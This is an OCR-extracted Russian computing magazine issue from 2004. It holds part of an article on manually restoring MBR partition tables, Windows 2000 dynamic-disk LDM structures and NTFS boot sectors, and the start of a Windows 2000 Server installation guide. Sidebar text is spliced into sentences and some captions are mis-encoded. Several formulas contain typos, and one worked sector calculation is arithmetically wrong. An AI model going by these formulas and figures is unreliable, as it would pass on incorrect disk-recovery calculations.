образование ту, в противном случае соберитесь с духом и приготовьтесь немного поработать руками и головой. Восстановление основного раздела, созданного FDISK или Disk Manager, в большинстве случаев осуществляется элементарно, а остальные, как правило, восстанавливать и не требуется, поскольку именно MBR гибнет чаще всего, а расширенные патриции, рассредоточенные по диску, умирают разве что при явном удалении разделов средствами FDISK/Disk Manager. Адрес стартового сектора первого логического диска всегда равен 0/1/1 (Cylinder/Head/Sector), относительный (Relative) сектор – количеству головок жесткого диска, уменьшенных на единицу (сведения о геометрии диска можно почерпнуть из любого дискового редактора, в том числе и Sector Inspector). Конечный сектор определить несколько сложнее. Если загрузочный сектор цел (см. «Загрузочный сектор – техника восстановления»), то узнать количество секторов в разделе патриции (total sectors) можно и из поля BootRecord.NumberSectors, увеличив его значение на единицу. Тогда конечный цилиндр будет равен: LastCyl := TotalSectors/(Heads*SecPerTrack)

где Heads – количество головок на физическом диске, а SecPerTrack – количество секторов на трек. Конечная головка равна: LastHead := (Total Sector – ↵ (LastCyl*Heads SecPerTrack))/SecPerTrack

а конечный сектор равен: LastSec :== (Total Sector – ↵ (LastCyl*Heads SecPerTrack)) % SecPerTrack

Пропишите полученные значения в MBR и посмотрите, не находится ли за вычисленным концом раздела следующий раздел? Это должна быть либо расширенная таблица

Типы динамических дисков, поддерживаемые Windows 2000

! Простые (simple): практически ничем не отличаются от обычных разделов, за исключением того, что при переразбиении диска отпадает необходимость в перезагрузке. Базовый тип для всех остальных динамических дисков. Избыточность: нет. Эффективность: низкая. ! Составные (spanned): состоят из одного или нескольких simple-дисков, находящихся в различных разделах или даже устройствах, представленные как один логический диск. Данные на simple-диски пишутся последовательно (классический линейный RAID). Избыточность: нет. Эффективность: низкая. ! Чередующиеся (stripped): то же самое, что и spanned, но данные записываются параллельно на все simpleдиски при условии, что они расположены на различных каналах IDE-контроллера. Это значительно увеличивает скорость обмена данными, короче говоря, классический RAID уровня 0.

84

разделов, либо boot-сектор. Если это так, создайте еще одну запись в partition table, заполнив его соответствующим образом. А если boot-сектор отсутствует и не может быть восстановлен, реально ли восстановить таблицу разделов или нет? Да, можно. Необходимо лишь найти boot или partition следующих разделов, в чем вам поможет контекстный поиск. Ищите сектора, содержащие сигнатуру 55h AAh в конце. Отличить boot от partition очень просто (в boot-секторе по смещению два байта от его начала расположен идентификатор производителя (NTFS, MSWIN4.1 и т. д.). Логично, что размер текущего раздела на один сектор меньше, а зная размер и геометрию диска, можно рассчитать и конечный цилиндр/головку/сектор. Только учтите, что Windows хранит копию boot-сектора, которая в зависимости от версии может быть расположена либо в середине раздела, либо в его конце. Другие копии могут находиться в архивных файлах и файле подкачки. Кстати говоря, посмотрите, не содержится ли среди них ничего удобоваримого. Как отличить копию сектора от оригинала? Если это подлинник, вслед за ним пойдут служебные структуры файловой системы (в частности, для NTFS таблица MFT, каждая запись которой начинается с легко узнаваемой строки FILE*). Собственно говоря, поскольку служебные структуры файловой системы обычно располагаются на более или менее предсказуемом смещении относительно начала раздела, то отталкиваясь от их «географического» расположения, мы можем установить размеры каждого из логических дисков, даже если все boot/partition уничтожены. Что произойдет, если границы разделов окажутся определенными неверно? Если мы переборщим, увеличив размер раздела сверх необходимого, все будет нормально работать, поскольку карта свободного пространства хранится в специальной структуре (у NTFS это файл $bitmap, а у FAT13/32 – непосредственно сама FAT-таблица) и «зап-

Избыточность: нет. Эффективность: средняя. ! Зеркальные (mirrored): два simple-диска, расположенные на разных устройствах, данные дублируются на оба носителя (RAID уровня 1). Избыточность: средняя. Эффективность: средняя. ! Чередующиеся с контролем четности (stripped with party): соответствует массиву RAID уровня 5. Состоит из трёх или более дисков. Представляет собой stripped volume с контролем ошибок. Данные пишутся на два диска, в два блока, а на третий диск и в третий блок записывается ECC, код коррекции ошибок, с помощью которого по информации любого из блоков можно восстановить содержимое второго блока. Избыточность: высокая. Эффективность: высокая. ! Зеркальный с чередованием (mirrored striped): соответствует массиву RAID 1+0. Избыточность: средняя. Эффективность: высокая.


образование редельные» сектора будут добавлены только после переформатирования раздела. Если все, что нам нужно, – это скопировать данные с восстанавливаемого диска на другой носитель, то возиться с подгонкой параметров partition table не нужно! Распахните ее на весь физический диск и дело с концом! Естественно, такой способ восстановления подходит только для первого раздела диска, а для всех последующих нам потребуется определить стартовый сектор. Это определение должно быть очень точным, поскольку все структуры файловой системы адресуются от начала логического диска и ошибка в один-единственный сектор сделает весь этот тонкий механизм полностью неработоспособным. К счастью, некоторые из структур ссылаются сами на себя, давая нам ключ к разгадке. В частности, файлы $mft/$mftmiff содержат номер своего первого кластера. Стоит нам найти первую запись FILE*, как мы узнаем, на каком именно секторе мы сейчас находимся (конечно, при условии, что сумеем определить количество секторов на кластер, но это уже другая тема – см. раздел «Загрузочный сектор – базовые концепции»).

Динамические диски Динамические диски, впервые появившиеся в Windows 2000, – это все тот же программный RAID, призванный преодолеть ограничения стандартных механизмов разбиения с учетом ошибок своего прямого предшественника программного RAID Windows NT, хранящего конфигурационную информацию в системном реестре, что, во-первых, препятствовало его перемещению с машины на машину, а во-вторых, делало очень уязвимым к порче реестра. По умолчанию Windows создает базовые диски (см. расшифровку терминов в таблице 5), но всякий базовый диск в любой момент времени может быть обновлен до динамического (это даже не потребует перезагрузки). Динамические диски не пользуются таблицей разделов, а потому и не имеют проблем, связанных с ограничением CHS-разрядности и позволяют создавать тома практически неограниченного размера. Однако динамические диски, созданные путем обновления основных разделов, все-таки остаются в partition table, при этом их Boot ID меняется на 42h. Если эта информация окажется удалена, система откажется подключать такой динамический диск. Кстати говоря, Windows может быть установлена только на обновленный динамический диск, поскольку BIOS может загружать систему лишь с тех разделов, которые перечислены в partition table, а динамические диски, созданные «на лету», в нее как раз и не попадают. Схема разбиения динамических дисков содержится в Базе Менеджера Логических Дисков – Logical Disk Manager Database или сокращенно LDM. Это протоколируемая (journalled) база данных, поддерживающая транзакции и устойчивая к сбоям. Если в процессе манипуляции с томами неожиданно исчезнет питание, при последующем включении компьютера будет выполнен откат в предыдущее состояние. При переносе винчестера, содержащего один или несколько динамических дисков, на другую систему, они автоматически распознаются и монтируются, как обыкновенные диски.

№10(23), октябрь 2004

LMD-база хранится в последнем мегабайте жесткого диска, а для дисков, полученных путем обновления базового раздела до динамического, – в последнем мегабайте этого самого раздела, идентификатор системы Boot ID соответствующей записи в Partition Table принимает значение 42h. Так происходит потому, что при стандартном разбиении винчестера в его конце просто не остается свободного места и операционной системе приходится сохранять эту информацию непосредственно в самом обновляемом диске (естественно, для этого в нем должен быть свободен по меньшей мере 1 Мб). Сразу же за таблицей разделов по адресу 0/0/2 расположен приватный заголовок PRIVHEAD, содержащий в себе ссылки на основные структуры LDM (см. рис. 3). Если PRIVHEAD погибнет, Windows не сможет обнаружить и смонтировать динамические диски. А гибнет он удручающе часто. Подавляющее большинство загрузочных вирусов и дисковых менеджеров считают сектор 0/0/2 свободным и используют его для хранения своего тела, необратимо затирая прежнее содержимое. Осознавая значимость PRIVHEAD, разработчики из Microsoft сохранили его аж в двух копиях, одна из которых хранится в хвосте LDM, а другая – в последнем секторе физического диска. Благодаря такой избыточности, PRIVHEAD практически никогда не приходится восстанавливать вручную, но если это все-таки потребуется сделать, обратитесь к проекту LINUXNTFS за подробным описанием его структуры (http://linuxntfs.sourceforge.net), здесь же оно по соображениям экономии места не приводится.

Ðèñóíîê 3. LDM-áàçà è åå äèñëîêàöèÿ

Внутреннее устройство LDM-базы недокументировано и буквально пышет мощью и сложностью. Наверху иерархии расположено оглавление базы – структура TOCBLOCK (Table Of Content Block), состоящая из двух секций config и log (вероятно, в будущем их список будет расширен). Секция config содержит информацию о текущем разбиении динамических дисков и сведения о томах, а log хранит журнал изменений схемы разбивки. Это очень мощное средство в борьбе с энтропией! Если удалить один или несколько динамических разделов, информация о старом разбиении сохранится в журнале и утерянные тома могут быть с легкостью восстановлены! Будучи очень важной структурой, оглавление диска защищено от случайного разрушения тремя копиями, одна из которых вплотную примыкает к настоящему TOCBLOCK, расположенному в начале LDMбазы, а две другие находятся в конце диска, между копиями PRIVHEAD. Внутренняя секция config состоит из заголовка (VMDB) и одного или нескольких VBLKs – специальных 128-байтовых структур данных, каждая из которых описывает соответствующий ей том, контейнер, раздел, диск или группу дисков. VMDB-заголовок не имеет копии и нигде не дублируется, однако все его изменения протоколируются в журнале (KLOG) и потому могут быть восстановлены.

85


образование Строение VMDB и VBLs подробно документировано «LMD Documentation», находящейся на сайте LINUX-NTFS и потому описывать его здесь нет никакой необходимости (оно слишком громоздко, к тому же крайне маловероятно, что кому-то потребуется восстанавливать секцию config руками).

Ðèñóíîê 4. Âíóòðè LDM

Для просмотра LDM-базы и архивирования ее содержимого можно воспользоваться утилитой LDM-dump Марка Руссиновича, бесплатную копию которой можно скачать с его сайта (http://www.sysinternals.com/files/ldmdump.zip). Как вариант – можно зарезервировать последний мегабайт физического диска и последний мегабайт всех патриций, чей Boot ID равен 42h любым подходящим дисковым редактором (например, Sector Inspector) и сохранить эту информацию на надежном носителе (Zip, СD-R/RW), не забывая также зарезервировать и TOCBLOCK. При восстановлении удаленных динамических дисков следует учитывать, что, во-первых, журнал изменений на интерфейсном уровне недоступен и выполнить откат легальными средствами операционной системы невозможно. Во-вторых, boot-сектор удаляемых дисков автоматически очищается и восстанавливать его приходится вручную, о чем мы чуть позже и поговорим. Если размер и тип удаленного динамического диска вам известен (на NTFS-дисках его можно извлечь из копии bootсектора), просто зайдите в «Менеджер Управления Дисками» и воссоздайте его заново, от предложения отформатировать раздел любезно откажитесь и восстановите очищенный boot-сектор по методике, описанной ниже. Как видно, Microsoft тщательно позаботилась о своих пользователях и занималась проектированием структуры динамических дисков на свежую голову, что для нее вообще говоря нехарактерно. Òàáëèöà 4. Òåðìèíîëîãè÷åñêîå ñîîòâåòñòâèå äèíàìè÷åñêèõ è îáû÷íûõ äèñêîâ

Òàáëèöà 5. Ñòðîåíèå NTFS boot-ñåêòîðà

В начале всякого сектора расположена трехбайтовая машинная команда перехода на bootstrap code (обычно EB 52 90, хотя возможны и вариации). Так происходит потому, что при загрузке boot-сектора в память управление передается на его первый байт, а bootstrap код по туманным историческим соображениям был отодвинут в конец сектора (для NTFS верхняя граница составляет 54h байт), вот и приходится прыгать блохой! С третьего по одиннадцатый байты (считая от нуля) хранится идентификатор производителя, определяющий тип и версию используемой файловой системы (например, «MSDOS5.0» для FAT16, «MSWIN4.0»/«MSWIN4.1» для FAT32 и «NTFS» для NTFS). Если это поле окажется искажено, драйвер не сможет смонтировать диск и даже может посчитать его не отформатированным! (примечание: с FATдисками Windows 2000 будет работать даже с запорченным OEM ID, чего не скажешь про NTFS). Следом за идентификатором расположен 25-байтовый блок параметров BIOS (BIOS Parameter Block или сокращенно BPB), хранящий сведения о геометрии диска (число цилиндров, головок, секторов, размер сектора, количество секторов в кластере и т. д.). Если эта информация окажется утеряна или искажена, нормальное функционирование драйвера файловой системы станет невозможным. Причем если данное число цилиндров/головок/секторов дублирует информацию, содержащуюся в MBR, а при ее утере элементарно восстанавливается описанным выше способом, то размер кластера определить не так-то просто! Позже мы обсудим этот вопрос более подробно, пока же ограничимся следующей табличкой, сообщающей размер кластера NTFS-томов, выбираемой штатной утилитой форматирования по умолчанию (см. таблицу 7). При выборе размера кластера вручную, Windows 2000 поддерживает следующий модельный ряд: 1, 2, 4, 8, 16, 32, 64 и 128 секторов. Чем больше размер кластера, тем меньше фрагментация и выше предельно адресуемый дисковый объем, но вместе с тем и выше потери от грануляции. Впрочем, ручное задание размеров кластера встречается достаточно редко. Òàáëèöà 6. Ðàçìåð êëàñòåðà, âûáèðàåìûé Windows 2000 ïî óìîë÷àíèþ

Загрузочный сектор – базовые концепции Первый сектор логического диска носит название загрузочного (boot). Он содержит самозагрузочный код (bootstrap code) и важнейшие сведения о геометрии диска, без которых раздел просто не будет смонтирован! Структура bootсектора определяется архитектурными особенностями конкретной файловой системы, в частности NTFS boot sector выглядит так:

86

К блоку параметров BIOS вплотную примыкает его продолжение – extended BPB, хранящий номер первого кластера MFT, ее размер в кластерах, номер кластера с зеркалом MFT и некоторую другую информацию. В отличие от FAT16/32, MFT может располагаться в любом месте диска (для борьбы с BAD-секторами это актуально). При нормальном развитии событий MFT располагается практически в самом начале диска (где-то в районе 4 кластера) и если только она не была перемещена, ее легко найти глобаль-


образование ным поиском (строка «FILE*» по смещению 0 от начала сектора). При разрушении или некорректном заполнении extend PBP драйвер файловой системы отказывается монтировать раздел, объявляя его неотформатированным. Следом за extend PBP идет Bootstrap Code, который ищет на диске операционный загрузчик (у Windows NT это ntldr), загружает его в память и передает ему управление. Если Bootstrap Code отсутствует, загрузка операционной системы становится невозможной, однако, при подключении восстанавливаемого диска вторым раздел должен быть прекрасно виден. Порча Bootstrap Code вызывает перезагрузку компьютера или его зависание. И завершает boot-сектор уже известная нам сигнатура 55h AAh, без которой он ни за что не будет признан загрузочным. Òàáëèöà 7. Çíà÷åíèå ïîëåé NTFS boot-ñåêòîðà

Загрузочный сектор – техника восстановления Осознавая значимость загрузочного сектора, Windows NT при форматировании диска создает его зеркальную копию (правда, только на NTFS-разделах). Windows NT 4.0 располагает ее посередине логического диска, а Windows 2000 – в последнем секторе раздела. Если partition table цела, просто перейдите в начало следующего раздела и отступите на сектор назад (Windows 2000) или поделите количество секторов логического диска пополам (с округлением в нижнюю сторону) и скажите редактору диска «GO» (Windows NT 4.0). Если же таблица разделов разрушена, найти копию сектора можно глобальным поиском (ищите строку «NTFS» по смещению 3 от начала сектора). Поскольку положение копии фиксировано и отсчитывается от начала логического диска, мы можем с абсолютной уверенностью определить границы раздела. Допустим, копия boot найдена в секторе 1 289 724, а поле NumberSectors содержит значение 12 289 661. Тогда конечный сектор раздела равен 1 289 724, а стартовый: 1289724 – 12289661 == 63. Поскольку загрузочный сектор расположен на расстоянии одной головки от partition table,

№10(23), октябрь 2004

что соответствует SectorPerTrack-секторам, мы можем восстановить и ее. В отсутствии копий, boot-сектор приходится реконструировать вручную. Это легко. В поле идентификатора производителя заносится строка «NTFS» (без кавычек, но с четырьмя пробелами на конце). Количество секторов в треке и число головок заполняются исходя из текущей геометрии диска. Количество скрытых секторов (т.е. секторов, расположенных между началом раздела и boot-сектором) равно числу головок. Общее количество секторов в разделе вычисляется на основании его размера (если точный раздел не известен, берите значение с запасом). Количество секторов в кластере определить сложнее (особенно, если диск отформатирован со значением, отличным от принятого по умолчанию). Но ситуация вовсе не безнадежна. Последовательно сканируя файловые записи в MFT, найдите файл с заранее известной сигнатурой. Пусть для определенности это будет NTOSKRNL.EXE. Откройте его аутентичную копию в HEX-редакторе, найдите уникальную последовательность, гарантировано не встречающуюся ни в каких других файлах и расположенную в пределах первых 512 байт от его начала, после чего найдите ее глобальным поиском на диске. Начальный номер кластера вам известен (он содержится в MFT), логический номер сектора тоже (его нашел дисковый редактор). Теперь остается лишь соотнести эти две величины между собой. Естественно, если дисковый редактор найдет удаленную копию ntoskrnl.exe (или на диске будут присутствовать несколько файлов ntoskrnl.exe), данный метод даст осечку, поэтому полученный результат необходимо уточнить на других файлах. Логический номер первого кластера MFT равен первому кластеру, в начале которого встретилась строка «FILE*» (конечно, при том условии, что MFT не был перемещен). Штатно Windows выделяет под MFT 10% от емкости раздела, помещая зеркало в середину. Кроме того, ссылка на зеркало присутствует и в самом MFT. Если же он разрушен, переместитесь в середину диска, немного отступите назад и повторите глобальный поиск строки «FILE*» (только смотрите, не вылетите в соседний раздел!). Первое же найденное вхождение с высокой степенью вероятности и будет зеркалом. Количество кластеров на сегмент обычно равно F6h, а на блоке индексов – 01h. Других значений мне встречать не доводилось. Серийный номер тома может быть также любым – он ни на что не влияет. Для восстановления отсутствующего (искаженного) bootstrap code загрузите консоль восстановления и отдайте команду FIXBOOT.

Заключение Как видно, в восстановлении данных нет ничего мифического и для устранения большинства типов разрушений не требуется никакой квалификации. Если же некоторые моменты вам не понятны, перечитайте эту статью с дисковым редактором в руках. До сих пор мы говорили о достаточно простых и хорошо известных вещах. Теперь, как следует раскачавшись и освоившись с основными понятиями, мы можем отправляться в самые дебри NTFS, восстановлению структур которой посвящена следующая статья этого цикла.

87


образование

УСТАНОВКА И НАСТРОЙКА W2K SERVER

РОМАН МАРКОВ

Данная статья – попытка автора систематизировать свой опыт по установке и настройке Windows 2000/2003 Server для начинающих технических специалистов. Она не претендует на полноту и абсолютную однозначность методов, а предназначена исключительно для предоставления начального опыта по настройке серверных систем на основе Windows 2000/2003 Server по принципу пошаговой инструкции. Процесс будет рассмотрен на примере Windows 2000 Server. Отличия в Windows 2003 Server незначительны и, как правило, интуитивно понятны. Статья публикуется в двух частях. В первой части рассказывается об установке и настройке Windows 2000 Server и повышении его роли до контроллера домена. Во второй части будет рассматрено создание и настройка серверов приложений на основе служб терминалов Windows и их модернизации при помощи продукта Citrix Metaframe XP Presentation Server.

Системные требования Итак, список того, что нам понадобится, и рекомендации по системным требованиям: ! Диск с дистрибутивом Windows 2000 Server. Рекомендуется, чтобы он был оригинальным, загрузочным. ! CD-ROM Drive с возможностью загрузиться с него. Некоторые частично неисправные или старые приводы не позволяют произвести с них загрузку системы. Если вы с этим столкнулись, то придется сделать загрузочные дискеты. Этот процесс описан в самом начале раздела «Установка ОС Windows 2000 Server» ! Компьютер со следующими минимальными требованиями: PII-433, 128 Мб RAM, 4 Гб HDD. По опыту автора данные характеристики являются минимальными и не рекомендованы к реальному использованию. Реальные системные требования для практической работы зависят от задач, возлагаемых на сервер.

88

! Если это будет простенький, экономичный сервер для выполнения задач по хранению нескольких небольших баз данных (например, базы «1С:Предприятие») и предназначенные для использования 2-5 клиентами, то приемлемая конфигурация будет такой: PIII или Celeron 300-733 МГц, RAM 256 Мб, HDD 10-20 Гб. Этой же конфигурации хватит для организации шлюза общего доступа в Интернет для небольшой организации с количеством рабочих станций до 10 (проксисервер, статистика работы пользователей в сети Интернет, защитный межсетевой экран – Firewall, почтовый сервер). ! Для организации файл-сервера, используемого рабочей группой от 10 до 20 пользователей или описанного выше шлюза в Интернет для 20-30 пользователей рекомендуется следующая конфигурация: PIII-1000-1300, 256-512 Мб RAM, IDE HDD 40-120 Гб, SCSI HDD 36 Гб. Использование SCSI-диска и быстрых процессоров для шлюза требуется при необходимости вести протокол и постоянную переиндексацию базы данных статистики запросов к прокси-серверу и протокола безопасности. При отсутствии такой необходимости достаточно одного IDE-диска и процессора Celeron-500-733. ! Для организации сервера терминалов с количеством активных пользователей от 5 до 10: PIV-1.7 ГГц, RAM 512-768 Мб, IDE HDD 40-120 Гб, SCSI HDD 18-36 Гб. ! Сервер терминалов для 15-30 пользователей уже желательно строить на двухпроцессорных системах. Например, для поднятия сервера терминалов для 20 пользователей, каждый из которых открывает по 2 базы «1С:Предприятие» в терминальном режиме, необходим сервер со следующими характеристиками: 2 * Xeon 1.8-2.4 ГГц, 1.5-2 Гб RAM, SCSI-RAID-5 (3-4 SCSI-HDD + SCSI-RAID-контроллер).


образование Более подробные рекомендации по выбору сервера выходят за рамки этой статьи. Единственное, что можно сказать, – при наличии финансовой возможности старайтесь не экономить и покупать качественное «железо», от известных производителей. Хороший обзор есть здесь: http:// www.fcenter.ru/articles.shtml?technologies/2513.

Установка ОС Windows 2000 Server Входим в BIOS и задаем первичную загрузку с CD-ROM. По возможности все остальные устройства для загрузки запрещаем. То есть у нас должно остаться: First boot device – CD-ROM. Остальные устройства выставляем (если это возможно) в Disabled. Выходим из BIOS, сохранив изменения. Загружаемся с CD-ROM Windows 2000 Server. Если на жесткий диск уже установлена какая-либо ОС, то необходимо будет нажать любую клавишу в момент появления надписи: «Press Any Key for boot from CD», иначе загрузится старая установленная система. Некоторые частично неисправные или старые приводы не позволяют произвести с них загрузку системы. Если вы с этим столкнулись, то придется сделать загрузочные дискеты. Или загружаемся с любой загрузочной дискеты Windows 98 и запускаем из папки I386 файл winnt.exe, либо подготавливаем специальные дистрибутивные диски. Подготавливаем 4 чистые отформатированные дискеты, на оригинальном дистрибутивном диске заходим в папку BOOTDISK и запускаем Makeboot.bat. После создания таких дискет загружаемся с них. Обращаю внимание, что для обеспечения надежности и удобства необходим оригинальный загрузочный CD с дистрибутивом или загрузка именно с этих дискет. Программа установки начнет загружать необходимые файлы. Если вы устанавливаете систему на SCSI- или SATAдиск, необходимо сразу при старте загрузки нажать клавишу <F6> (сообщение об этом появится в нижней части экрана) и установить драйвера этого устройства (поставляются в комплекте с материнской платой или платой SCSI). Если вы все сделали правильно, программа установки предложит вам добавить необходимые драйверы, вставив диск от производителя. После вывода списка устройств, для которых будут найдены драйверы, выбираем устройство, установленное в нашей системе. В противном случае программа установки сообщит, что не обнаружила дисков для установки. В процессе загрузки файлов экран может стать черным на время до 5 минут. Не спешите перезагружать компьютер – терпеливо выждите. Нажмите <ENTER> для продолжения установки, затем <F8> для принятия условий лицензионного соглашения (если вы, конечно, его принимаете). Программа установки предложит выбрать раздел, в который будет устанавливаться ОС. Рассмотрим новую установку на диск, все данные с которого можно удалить. Если на диске имеются нужные данные, необходимо создать полную архивную копию на другой жесткий диск. В противном случае вы потеряете свои данные! Если на жестком диске уже есть разделы (они будут отображены), то просто удаляем их (все данные будут уничтожены!). Нажимаем для этого клавишу <D>, затем <ENTER> и подтверждаем удаление клавишей <L>. Повторяем со всеми разделами, до тех пор пока не останется одна «Неразмеченная область», объемом с диск.

№10(23), октябрь 2004

Если у вас новый жесткий диск или вы уже удалили с него все разделы, то необходимо создать раздел для установки. Выбираем требуемый диск, выделяем «Неразмеченную область», нажимаем клавишу <C> для создания нового раздела и вводим его размер. Рекомендуемый размер в мегабайтах 8000-20000. Если общий объем жесткого диска составляет не более 10 Гб, то имеет смысл отдать под систему 5000 Мб, а большие приложения устанавливать в другой раздел (его мы создадим позже, из оставшегося места на диске). Оставляем неразмеченную область без изменений и выбираем для установки созданный раздел, нажав на нем <ENTER>. Выбираем «Форматировать раздел в системе NTFS». Далее система отформатирует раздел и скопирует на него все необходимые файлы. Ваше участие не понадобится в течение 10-15 минут. Можете пить чай. Компьютер автоматически перезагрузится. После этого вы увидите приглашение продолжить установку, нажав клавишу «Далее». После этого произойдет обнаружение устройств, и появится предложение выбрать язык и стандарты. Здесь рекомендуется «Язык системы и язык пользователя» выбирать «Русский» (установлен по умолчанию), а раскладку клавиатуры выставлять по умолчанию в «Английский (США)» (нижнее меню Настроить → Английский (США) → Использовать по умолчанию → Применить → ОК). Затем вводим имя пользователя и организацию (это просто информационные данные, а не имя для входа), например: Администратор – ООО «Рога и копыта». Вводим регистрационный номер вашего дистрибутива. Выбираем лицензирование «На сервер» и вводим приобретенное нами количество лицензий (по количеству пользователей + запас). Здесь вводим имя нашего сервера и пароль администратора. Имя сервера – латинскими буквами и цифрами, без пробелов (допускается «дефис»). Приступаем к выбору компонентов. Выбор компонентов установки опишем для наиболее часто применимых ситуаций. Если что-то понадобится в процессе работы, всегда можно добавить. Снимаем все галки, кроме «Служба индексирования» и «Стандартные и служебные программы». Ставим курсор на «Сетевые службы» и устанавливаем только одну галку: DHCP. Если наш сервер будет являться еще и сервером терминалов, то устанавливаем галочки также на «Лицензирование служб терминалов» и «Службы терминалов», а также при необходимости организации веб-доступа к серверу приложений – устанавливаем галку «Internet Information Server». На дальнейший вопрос о режиме сервера терминалов (появится чуть позже) ответим: «Режим сервера приложений» и (если у нас нет особых старых приложений, которым необходим полный доступ к системным папкам) «Разрешения группы пользователей Windows 2000». Соглашаемся с предупреждением о том, что уже установленные приложения могут работать некорректно – как правило, это не критично. Указываем доступность «Для всего предприятия» если у вас сложная доменная структура и дочерним доменам необходим доступ к данному серверу. Для одноуровневой доменной структуры – выбор не важен. Путь в пункте «Установить базу данных сервера» оставляем по умолчанию. Жмем «Далее» и устанавливаем текущие дату и время. Проверяем, чтобы часовой пояс соответствовал вашему

89


образование (в Петербурге и Москве это «(GMT+03:00) Москва, СанктПетербург, Волгоград». Помните, что некорректно установив этот параметр, можно впоследствии столкнуться с проблемами. Жмем «Далее». Система установит сетевые компоненты и, если сможет автоматически обнаружить сетевые адаптеры, – предложит установить их параметры. Выбираем «Особые параметры», нажимаем далее и выбираем «Протокол Интернета (TCP/IP). Жмем «Свойства» и выставляем «Использовать следующий IP-адрес». Задаем адрес. Если мы уверены, что все настраиваем «с нуля», то задаем, например 192.168.0.1 для файл-сервера, или 192.168.0.254 для шлюза в Интернет (подразумевается, что существующая подсеть имеет диапазон адресов 192.168.0.XXX). Для того чтобы проверить, не занят ли этот адрес кем-либо, включаем все компьютеры локальной сети, и в командной строке пишем: ping 192.168.0.1

Если получаем сообщение о превышении интервала ожидания, то адрес, скорее всего, не занят (если, конечно, прохождение ICMP-пакетов не запрещено firewall, что является в грамотно настроенной локальной сети спорным решением). Маску подсети оставляем по умолчанию: 255.255.255.0. Параметр «Шлюз по умолчанию» устанавливаем в соответствии с его внутрисетевым IP-адресом. Если этот компьютер сам будет являться шлюзом в Интернет/другую сеть, то, скорее всего, в нем установлены две сетевые карты. Тогда первой карте присваиваем адрес 192.168.0.254, маску 255.255.255.0, оставляем пустым поле «Шлюз по умолчанию». Адреса DNS-серверов оставляем пустыми, либо присваиваем им адреса DNS-сервера локальной сети (если он есть) или DNS-сервера провайдера. При наличии второй сетевой карты, к которой будет подключен кабель, идущий к интернет-провайдеру, выставляем параметры внешнего соединения. Помните, что кабель соединения с провайдером можно подключать только для установки критических обновлений системы и межсетевого экрана. В противном случае вы рискуете сразу же подвергнуться вирусной атаке. Жмем «ОК» и «Далее». Оставляем компьютер без домена галкой «Нет, этот компьютер не участвует в сети или сеть не имеет доменов» (при необходимости введем в домен потом, после установки всех обновлений и драйверов). Жмем «Далее» и опять отдыхаем в течение 5-10 минут до появления сообщения «Завершение установки Windows 2000». Нажимаем «Готово», компьютер уходит на перезагрузку. Входим в BIOS и меняем в порядке загрузки CD-ROM на IDE-0 или SCSI или RAID (в зависимости от варианта вашей установки). Сохраняем изменения и продолжаем загрузку. Входим в систему, выбираем «Я выполню настройку этого сервера позже», «Далее». Затем снимаем галку «Открывать это окно при загрузке» и закрываем окно. Затем правой клавишей нажимаем на Мой компьютер → Свойства → Дополнительно. В разделе «Параметры быстродействия» выделяем «Оптимизировать быстродействие» и оставляем «Служб, работающих в фоновом режиме», если это будет отдельно стоящий файл-сервер, или меняем на «Приложений», если на нем будут выполняться задачи в режи-

90

ме рабочего стола или сервера терминалов. Затем: Виртуальная память → Общий объем файла подкачки на всех дисках → Изменить… Задаем фиксированный размер файла подкачки («Исходный размер» и «Максимальный размер» – присваиваем одну и ту же величину). Рекомендуемый размер – не более 2-кратного размера оперативной памяти. Не стоит, однако, делать размер этого файла менее 500 Мб. Не забываем нажать «Задать», а только затем «ОК». Еще раз жмем «ОК». Если предлагают перезагрузиться – отказываемся. Вставляем диск с драйверами материнской платы и устанавливаем сначала именно ее драйверы. Для экономичных решений на базе обычных (не серверных) материнских плат рекомендуется иметь в коллекции так называемый универсальный диск с драйверами для самых популярных чипсетов. Он автоматически определяет установленную материнскую плату и устройства, затем предлагает установить соответствующие драйвера, т.к. очень часто клиенты понятия не имеют, «где у них диск с драйверами от матери». Перезагружаем компьютер. Снова делаем автозапуск диска с драйверами. Устанавливаем все оставшиеся драйвера, отказываясь от перезагрузки после каждого из них. Перезагружаем компьютер только после установки всех остальных драйверов (видео, аудио, сеть, USB и т. д.). Правой клавишей нажимаем на Мой компьютер → Управление → Управление дисками. Если вы не планируете создавать программные RAIDмассивы средствами самой ОС с участием этих дисков, обновлять их до динамических необязательно. Здесь не рассматриваются основы файловых систем – подразумевается, что читатель сам изучит этот материал. Правой клавишей по приводу CD – Изменение буквы диска и пути диска → Изменить → Назначить букву диска → Выбираем следующую за предполагаемым количеством дисков. Например, если у нас есть неразмеченная область на системном диске, то оставляем ей букву «D», а CD-приводу присваиваем букву «E». На предупреждение отвечаем согласием. Затем на «Диск 0» щелкаем правой клавишей по Нераспределенной области → Создать раздел → Далее → Основной раздел → Далее… Отдаем под него все оставшееся место. Не стоит плодить большое количество логических дисков – двух достаточно: один под систему, второй под архивы/дистрибутивы. Разделять систему и данные по разным разделам очень рекомендуется, т.к. при сбоях раздела с данными можно будет загрузить систему и попытаться исправить неполадки. Жмем Далее → Назначить букву диска «D» → Далее → Форматировать данный раздел следующим образом: «Файловая система» – NTFS, «Размер кластера» – по умолчанию, «Метка тома» – оставляем пустым. Затем, если мы уверены в качестве нашего диска и у нас нет лишних 1-2 часов на полное форматирование, например, 100 Гб, то выставляем галку «Быстрое форматирование». Гал-ку «Применять сжатие файлов и папок» не стоит выставлять, если вы не понимаете все последствия этого шага. Скажем лишь, что сжатие всего раздела средствами NTFS при современных объемах дисков неактуально, так как экономия места не будет оправдана в связи с замедлением работы с этим томом. Нажимаем «Далее» → «Готово». Если было выбрано «Быстрое форматирование», то процесс займет не


образование более 3-5 минут. Иначе – обладая разделом в 50-100 Гб, можно смело идти за пивом. Час-два форматирования обеспечен. Поэтому у клиентов рекомендую ставить систему на заведомо исправный и проверенный диск и выбирать «Быстрое форматирование», чтобы не терять ценное время. После того как на нашем разделе появилась надпись «Исправен», закрываем консоль «Управление компьютером». Далее создаем на диске D: папку Distrib и в ней – папку W2Kserver. Затем копируем в нее папку I386 с дистрибутивного CD-ROM Windows 2000 Server. Это необходимо для дальнейшего добавления компонентов, когда под рукой может просто не оказаться дистрибутива. Позаботьтесь о себе и своих коллегах! Затем извлекаем диск с Windows 2000 и убираем. Больше он нам не понадобится. В эту же папку рекомендуется скопировать и драйвера от установленных устройств. Открываем Пуск → Программы → Администрирование → Просмотр событий. Щелкаем правой клавишей по первому журналу и выбираем «Свойства». Там увеличиваем размер журнала, например до 16 384 Кб, и выставляем галку «Затирать старые события по необходимости». Повторяем со всеми журналами. Заходим в систему. Правой клавишей по пустому месту на рабочем столе → Свойства → Настройка → 